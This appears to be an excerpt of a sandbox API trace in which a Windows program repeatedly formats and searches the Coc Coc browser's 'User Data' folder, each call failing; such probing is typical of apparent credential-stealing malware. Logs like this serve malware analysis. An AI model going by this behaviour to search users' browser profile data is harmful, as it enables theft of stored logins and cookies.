[0052.817] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.817] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.817] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.818] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.818] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.818] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.818] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.818] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.818] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.818] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.818] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.818] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.818] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.818] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.818] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.818] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.818] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.818] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.818] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.818] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.818] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.819] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.819] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.819] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.819] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.819] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.819] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.819] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.819] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.819] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.819] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.819] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.819] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.819] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.819] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.819] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.819] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.819] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.819] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.820] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.820] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.820] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.820] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.820] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.820] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.820] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.820] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.820] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.820] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.820] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.820] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.820] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.820] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.820] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
[0052.820] FindFirstFileA (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\coccoc\\browser\\user data\\*.*"), lpFindFileData=0x181358 | out: lpFindFileData=0x181358*(dwFileAttributes=0x1813a4, ftCreationTime.dwLowDateTime=0x764a18d8, ftCreationTime.dwHighDateTime=0x680000, ftLastAccessTime.dwLowDateTime=0x8, ftLastAccessTime.dwHighDateTime=0x50, ftLastWriteTime.dwLowDateTime=0xfda55e1, ftLastWriteTime.dwHighDateTime=0x1815dc, nFileSizeHigh=0x23, nFileSizeLow=0x6cbda8, dwReserved0=0x76f01659, dwReserved1=0xa9037142, cFileName="", cAlternateFileName="ÿÿÿÿð\x14\x18")) returned 0xffffffff
[0052.820] wsprintfA (in: param_1=0x181498, param_2="%s\\*.*" | out: param_1="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\CocCoc\\Browser\\User Data\\\\*.*") returned 65
